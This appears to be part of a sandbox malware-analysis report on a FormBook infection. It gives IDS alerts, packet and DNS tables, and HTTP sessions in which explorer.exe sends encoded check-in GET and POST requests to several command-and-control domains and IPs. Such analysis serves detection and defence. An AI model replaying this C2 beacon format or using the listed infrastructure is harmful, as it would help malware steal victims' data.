192.168.2.5162.214.129.14949712802031412 11/30/22-01:10:50.366888	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49712	80	192.168.2.5	162.214.129.149
192.168.2.5206.233.197.13549710802031412 11/30/22-01:10:42.253815	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49710	80	192.168.2.5	206.233.197.135
192.168.2.5162.214.129.14949712802031449 11/30/22-01:10:50.366888	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49712	80	192.168.2.5	162.214.129.149

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 01:10:29.024822950 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.147394896 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.149022102 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.149192095 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.271584988 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279675961 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279721975 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279748917 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279777050 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279805899 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279834986 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279865026 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279892921 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279922009 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279942989 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.279959917 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:29.280064106 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.280209064 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.280512094 CET	49707	80	192.168.2.5	192.185.217.47
Nov 30, 2022 01:10:29.402862072 CET	80	49707	192.185.217.47	192.168.2.5
Nov 30, 2022 01:10:39.706011057 CET	49709	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:39.960129976 CET	80	49709	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:39.960378885 CET	49709	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:39.960500956 CET	49709	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:40.214560032 CET	80	49709	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:40.547215939 CET	80	49709	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:40.547250032 CET	80	49709	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:40.547370911 CET	49709	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:40.964452982 CET	49709	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:41.980474949 CET	49710	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:42.253413916 CET	80	49710	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:42.253650904 CET	49710	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:42.253814936 CET	49710	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:42.526724100 CET	80	49710	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:42.818850040 CET	80	49710	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:42.818918943 CET	80	49710	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:42.819215059 CET	49710	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:42.822645903 CET	49710	80	192.168.2.5	206.233.197.135
Nov 30, 2022 01:10:43.106801987 CET	80	49710	206.233.197.135	192.168.2.5
Nov 30, 2022 01:10:48.010961056 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:48.177367926 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.177628040 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:48.177809000 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:48.344197035 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.344644070 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.344672918 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.344693899 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.344713926 CET	80	49711	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:48.344789028 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:48.344860077 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:49.184077024 CET	49711	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.200092077 CET	49712	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.366451979 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.366700888 CET	49712	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.366888046 CET	49712	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.533267021 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.533715010 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.533760071 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.533793926 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.533827066 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:50.533952951 CET	49712	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.534199953 CET	49712	80	192.168.2.5	162.214.129.149
Nov 30, 2022 01:10:50.700480938 CET	80	49712	162.214.129.149	192.168.2.5
Nov 30, 2022 01:10:55.727615118 CET	49713	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:55.949546099 CET	80	49713	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:55.949732065 CET	49713	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:55.949861050 CET	49713	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:56.171719074 CET	80	49713	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:56.171799898 CET	80	49713	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:56.171852112 CET	80	49713	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:56.171915054 CET	49713	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:56.965632915 CET	49713	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.089121103 CET	49714	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.301402092 CET	80	49714	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:58.301616907 CET	49714	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.301866055 CET	49714	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.514004946 CET	80	49714	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:58.514065027 CET	80	49714	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:58.514106989 CET	80	49714	155.159.61.221	192.168.2.5
Nov 30, 2022 01:10:58.514235973 CET	49714	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.514421940 CET	49714	80	192.168.2.5	155.159.61.221
Nov 30, 2022 01:10:58.726452112 CET	80	49714	155.159.61.221	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 30, 2022 01:10:28.856163025 CET	65323	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:10:29.011351109 CET	53	65323	8.8.8.8	192.168.2.5
Nov 30, 2022 01:10:39.525219917 CET	63446	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:10:39.704725981 CET	53	63446	8.8.8.8	192.168.2.5
Nov 30, 2022 01:10:47.853636980 CET	56751	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:10:48.007566929 CET	53	56751	8.8.8.8	192.168.2.5
Nov 30, 2022 01:10:55.547888041 CET	55039	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:10:55.726146936 CET	53	55039	8.8.8.8	192.168.2.5
Nov 30, 2022 01:11:03.553632021 CET	59220	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:11:04.318644047 CET	53	59220	8.8.8.8	192.168.2.5
Nov 30, 2022 01:11:05.325809002 CET	56682	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:11:06.344841003 CET	56682	53	192.168.2.5	8.8.8.8
Nov 30, 2022 01:11:06.350476027 CET	53	56682	8.8.8.8	192.168.2.5
Nov 30, 2022 01:11:07.118748903 CET	53	56682	8.8.8.8	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 30, 2022 01:11:07.119535923 CET	192.168.2.5	8.8.8.8	cff9	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 30, 2022 01:10:28.856163025 CET	192.168.2.5	8.8.8.8	0xdc74	Standard query (0)	www.eufidelizo.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:39.525219917 CET	192.168.2.5	8.8.8.8	0xccc6	Standard query (0)	www.lyonfinancialusa.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:47.853636980 CET	192.168.2.5	8.8.8.8	0x22da	Standard query (0)	www.afterdarksocial.club	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:55.547888041 CET	192.168.2.5	8.8.8.8	0x18f9	Standard query (0)	www.patrickguarte.com	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:03.553632021 CET	192.168.2.5	8.8.8.8	0x4db1	Standard query (0)	www.19t221013d.tokyo	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:05.325809002 CET	192.168.2.5	8.8.8.8	0xf47d	Standard query (0)	www.19t221013d.tokyo	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:06.344841003 CET	192.168.2.5	8.8.8.8	0xf47d	Standard query (0)	www.19t221013d.tokyo	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 30, 2022 01:10:29.011351109 CET	8.8.8.8	192.168.2.5	0xdc74	No error (0)	www.eufidelizo.com	eufidelizo.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2022 01:10:29.011351109 CET	8.8.8.8	192.168.2.5	0xdc74	No error (0)	eufidelizo.com		192.185.217.47	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:39.704725981 CET	8.8.8.8	192.168.2.5	0xccc6	No error (0)	www.lyonfinancialusa.com		206.233.197.135	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:48.007566929 CET	8.8.8.8	192.168.2.5	0x22da	No error (0)	www.afterdarksocial.club		162.214.129.149	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:10:55.726146936 CET	8.8.8.8	192.168.2.5	0x18f9	No error (0)	www.patrickguarte.com		155.159.61.221	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:04.318644047 CET	8.8.8.8	192.168.2.5	0x4db1	Server failure (2)	www.19t221013d.tokyo	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:06.350476027 CET	8.8.8.8	192.168.2.5	0xf47d	Server failure (2)	www.19t221013d.tokyo	none	none	A (IP address)	IN (0x0001)	false
Nov 30, 2022 01:11:07.118748903 CET	8.8.8.8	192.168.2.5	0xf47d	Server failure (2)	www.19t221013d.tokyo	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.eufidelizo.com

www.lyonfinancialusa.com

www.afterdarksocial.club

www.patrickguarte.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49707	192.185.217.47	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:29.149192095 CET	131	OUT	GET /henz/?ChMxG4C=wcp3urA+/rGtUuNVdXHur6CaD7Rg4XGXlvUWG7FdGjeYGPzd5j/g1Govvww0i9Uvwfj8E4D4P4OVv2O692MpWFmEiKCsF21Xzw==&8p08qr=2d0X HTTP/1.1 Host: www.eufidelizo.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2022 01:10:29.279675961 CET	132	IN	HTTP/1.1 404 Not Found Date: Wed, 30 Nov 2022 00:10:29 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 29 Sep 2022 21:55:23 GMT Accept-Ranges: bytes Content-Length: 11816 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 74 69 74 6c 65 3e 0a 0a 09 09 09 09 3c 21 2d 2d 20 41 64 64 20 53 6c 69 64 65 20 4f 75 74 73 20 2d 2d 3e 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 20 20 20 20 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 63 67 69 2d 73 79 73 2f 6a 73 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 68 65 6c 76 65 74 69 63 61 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 32 30 70 78 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 74 6f 70 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 74 6f 70 5f 77 2e 6a 70 67 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 68 65 69 67 68 74 3a 31 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 6d 69 64 2e 67 69 66 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 79 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 20 23 67 61 74 6f 72 62 6f 74 74 6f 6d 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 6c 65 66 74 3a 33 39 70 78 3b 66 6c 6f 61 74 3a 6c 65 66 74 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 20 23 78 78 78 7b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>404 - PAGE NOT FOUND</title>... Add Slide Outs --><script src="http://code.jquery.com/jquery-3.3.1.min.js"></script> <script src="/cgi-sys/js/simple-expand.min.js"></script> <style type="text/css"> body{padding:0;margin:0;font-family:helvetica;} #container{margin:20px auto;width:868px;} #container #top404{background-image:url('/cgi-sys/images/404top_w.jpg');background-repeat:no-repeat;width:868px;height:168px;} #container #mid404{background-image:url('/cgi-sys/images/404mid.gif');background-repeat:repeat-y;width:868px;} #container #mid404 #gatorbottom{position:relative;left:39px;float:left;} #container #mid404 #xxx{
Nov 30, 2022 01:10:29.279721975 CET	133	IN	Data Raw: 66 6c 6f 61 74 3a 6c 65 66 74 3b 70 61 64 64 69 6e 67 3a 34 30 70 78 20 33 39 37 70 78 20 31 30 70 78 3b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 20 61 75 74 6f 20 2d 31 30 70 78 20 61 75 74 6f 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e Data Ascii: float:left;padding:40px 397px 10px; margin: auto auto -10px auto} #container #mid404 #content{float:left;text-align:center;width:868px;} #container #mid404 #content #errorcode{font-size:30px;font-weight:800;} #container
Nov 30, 2022 01:10:29.279748917 CET	135	IN	Data Raw: 34 20 23 63 6f 6e 74 65 6e 74 20 23 61 63 63 6f 72 64 69 6f 6e 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 39 35 25 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 Data Ascii: 4 #content #accordion p {font-size: 95%; text-align: left;} #container #mid404 #content #accordion h3 {font-weight: bold;} #container #mid404 #content #accordion h4 {font-weight: bold; font-style: italic; text-align: left;} .co
Nov 30, 2022 01:10:29.279777050 CET	136	IN	Data Raw: 63 61 75 73 65 20 79 6f 75 20 68 61 76 65 20 48 6f 74 20 4c 69 6e 6b 20 50 72 6f 74 65 63 74 69 6f 6e 20 74 75 72 6e 65 64 20 6f 6e 20 61 6e 64 20 74 68 65 20 64 6f 6d 61 69 6e 20 69 73 20 6e 6f 74 20 6f 6e 20 74 68 65 20 6c 69 73 74 20 6f 66 20 Data Ascii: cause you have Hot Link Protection turned on and the domain is not on the list of authorized domains.</p><p>If you go to your temporary url (http://ip/~username/) and get this error, there maybe a problem with the rule set stored in
Nov 30, 2022 01:10:29.279805899 CET	137	IN	Data Raw: 6e 67 3e 20 69 73 20 69 6d 70 6f 72 74 61 6e 74 20 69 6e 20 74 68 69 73 20 65 78 61 6d 70 6c 65 2e 20 4f 6e 20 70 6c 61 74 66 6f 72 6d 73 20 74 68 61 74 20 65 6e 66 6f 72 63 65 20 63 61 73 65 2d 73 65 6e 73 69 74 69 76 69 74 79 20 3c 73 74 72 6f Data Ascii: ng> is important in this example. On platforms that enforce case-sensitivity <strong>e</strong>xample and <strong>E</strong>xample are not the same locations.</p><p>For addon domains, the file must be in public_html/addondomain.com/ex
Nov 30, 2022 01:10:29.279834986 CET	139	IN	Data Raw: 6f 6e 73 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 3c 64 69 76 20 69 64 3d 22 77 70 22 3e 0a 09 09 09 09 09 09 3c 68 33 3e 3c 61 20 63 6c 61 73 73 3d 22 65 78 70 61 6e 64 Data Ascii: ons.</p></div></div><div id="wp"><h3><a class="expander" href=#>404 Errors After Clicking WordPress Links</a></h3><div class="content"><p>When working with WordPress, 404 Page Not Found errors can
Nov 30, 2022 01:10:29.279865026 CET	140	IN	Data Raw: 69 74 20 79 6f 75 72 20 2e 68 74 61 63 63 65 73 73 20 66 69 6c 65 20 64 69 72 65 63 74 6c 79 2e 3c 2f 70 3e 0a 09 09 09 09 09 09 09 09 3c 68 34 3e 3c 75 3e 4f 70 74 69 6f 6e 20 32 3a 20 4d 6f 64 69 66 79 20 74 68 65 20 2e 68 74 61 63 63 65 73 73 Data Ascii: it your .htaccess file directly.</p><h4><u>Option 2: Modify the .htaccess File</u></h4><p>Add the following snippet of code<em> </em>to the top of your .htaccess file:</p><div class="code"><p>#
Nov 30, 2022 01:10:29.279892921 CET	141	IN	Data Raw: 72 79 20 63 6f 6d 6d 6f 6e 20 64 69 72 65 63 74 69 76 65 73 20 66 6f 75 6e 64 20 69 6e 20 61 20 2e 68 74 61 63 63 65 73 73 20 66 69 6c 65 2c 20 61 6e 64 20 6d 61 6e 79 20 73 63 72 69 70 74 73 20 73 75 63 68 20 61 73 20 57 6f 72 64 50 72 65 73 73 Data Ascii: ry common directives found in a .htaccess file, and many scripts such as WordPress, Drupal, Joomla and Magento add directives to the .htaccess so those scripts can function.</p><p>It is possible that you may need to edit the .htaccess
Nov 30, 2022 01:10:29.279922009 CET	143	IN	Data Raw: 6e 61 67 65 72 3c 2f 73 74 72 6f 6e 67 3e 20 69 63 6f 6e 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 43 68 65 63 6b 20 74 68 65 20 62 6f 78 20 66 6f 72 26 6e 62 73 70 3b 3c 73 74 72 6f 6e 67 3e 44 6f 63 75 6d 65 6e 74 20 52 6f 6f Data Ascii: nager</strong> icon.</li><li>Check the box for <strong>Document Root for</strong> and select the domain name you wish to access from the drop-down menu.</li><li>Make sure <strong>Show Hidden Files (dotfiles)</stro
Nov 30, 2022 01:10:29.279942989 CET	143	IN	Data Raw: 20 76 65 72 73 69 6f 6e 20 75 6e 74 69 6c 20 79 6f 75 72 20 73 69 74 65 20 77 6f 72 6b 73 20 61 67 61 69 6e 2e 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 4f 6e 63 65 20 63 6f 6d 70 6c 65 74 65 2c 20 79 6f 75 20 63 61 6e 20 63 6c 69 Data Ascii: version until your site works again.</li><li>Once complete, you can click <strong>Close</strong> to close the File Manager window.</li></ol></div></div></div></div> </div> <d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49709	206.233.197.135	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:39.960500956 CET	151	OUT	POST /henz/ HTTP/1.1 Host: www.lyonfinancialusa.com Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.lyonfinancialusa.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.lyonfinancialusa.com/henz/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 43 68 4d 78 47 34 43 3d 46 5f 54 33 34 4d 43 59 37 4c 4c 6c 35 30 36 46 70 55 6d 45 4c 6d 56 30 6d 31 6d 41 7e 59 47 31 45 72 5a 72 7a 51 72 43 4f 57 4d 4c 57 30 50 39 66 6d 38 71 30 51 56 44 6d 5a 39 4b 58 4c 58 59 43 47 67 65 67 44 28 54 4b 77 71 30 79 6a 6f 58 48 68 65 62 75 32 37 65 5a 42 62 45 69 45 6b 62 33 42 53 6a 35 64 4f 6e 57 42 38 78 4b 44 71 48 63 52 32 4b 48 38 32 37 68 43 41 6c 51 79 65 4e 57 59 50 55 32 4c 59 59 6e 75 74 6f 58 35 49 43 7a 65 73 58 73 41 4b 7a 4d 4c 79 53 41 5f 6b 2d 45 50 64 50 77 38 64 65 49 50 47 6b 52 4f 65 51 4c 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ChMxG4C=F_T34MCY7LLl506FpUmELmV0m1mA~YG1ErZrzQrCOWMLW0P9fm8q0QVDmZ9KXLXYCGgegD(TKwq0yjoXHhebu27eZBbEiEkb3BSj5dOnWB8xKDqHcR2KH827hCAlQyeNWYPU2LYYnutoX5ICzesXsAKzMLySA_k-EPdPw8deIPGkROeQLw).
Nov 30, 2022 01:10:40.547215939 CET	152	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 30 Nov 2022 00:10:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.lyonfinancialusa.com/henz/ Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49710	206.233.197.135	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:42.253814936 CET	153	OUT	GET /henz/?ChMxG4C=I97X75yj3reE70KD0jnZLHprtk7Ny9G/KKFZ2xPoakAfOE75REIszhxIs75pfZv/CVEdhBuwKxvuqF4TRlzZl0jGQ0nXo34yzw==&8p08qr=2d0X HTTP/1.1 Host: www.lyonfinancialusa.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 30, 2022 01:10:42.818850040 CET	153	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 30 Nov 2022 00:10:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: https://www.lyonfinancialusa.com/henz/?ChMxG4C=I97X75yj3reE70KD0jnZLHprtk7Ny9G/KKFZ2xPoakAfOE75REIszhxIs75pfZv/CVEdhBuwKxvuqF4TRlzZl0jGQ0nXo34yzw==&8p08qr=2d0X Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49711	162.214.129.149	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 30, 2022 01:10:48.177809000 CET	155	OUT	POST /henz/ HTTP/1.1 Host: www.afterdarksocial.club Connection: close Content-Length: 189 Cache-Control: no-cache Origin: http://www.afterdarksocial.club User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.afterdarksocial.club/henz/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 43 68 4d 78 47 34 43 3d 78 52 42 4e 59 66 6f 55 79 47 73 48 35 70 57 58 50 6b 34 67 55 52 30 62 31 78 47 6c 43 71 63 4a 6e 59 6f 75 65 4c 76 44 52 72 55 33 4c 74 52 78 78 42 4f 4b 54 58 37 56 68 44 53 6c 43 70 65 6a 56 38 35 48 73 5a 4b 50 31 65 30 39 69 47 6e 2d 6f 31 4c 7a 5a 54 4e 45 43 76 72 32 5a 51 63 57 66 59 35 34 36 45 77 73 4f 4d 41 54 43 73 4d 74 53 42 49 37 47 4f 4a 51 66 32 30 47 45 70 37 30 66 39 31 5f 75 6d 4e 79 4e 75 31 32 74 77 56 64 37 5a 42 4f 4f 71 62 36 35 79 43 5f 53 4c 32 6a 43 78 53 33 28 64 77 2d 6c 4b 73 73 68 47 53 56 63 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: ChMxG4C=xRBNYfoUyGsH5pWXPk4gUR0b1xGlCqcJnYoueLvDRrU3LtRxxBOKTX7VhDSlCpejV85HsZKP1e09iGn-o1LzZTNECvr2ZQcWfY546EwsOMATCsMtSBI7GOJQf20GEp70f91_umNyNu12twVd7ZBOOqb65yC_SL2jCxS3(dw-lKsshGSVcA).
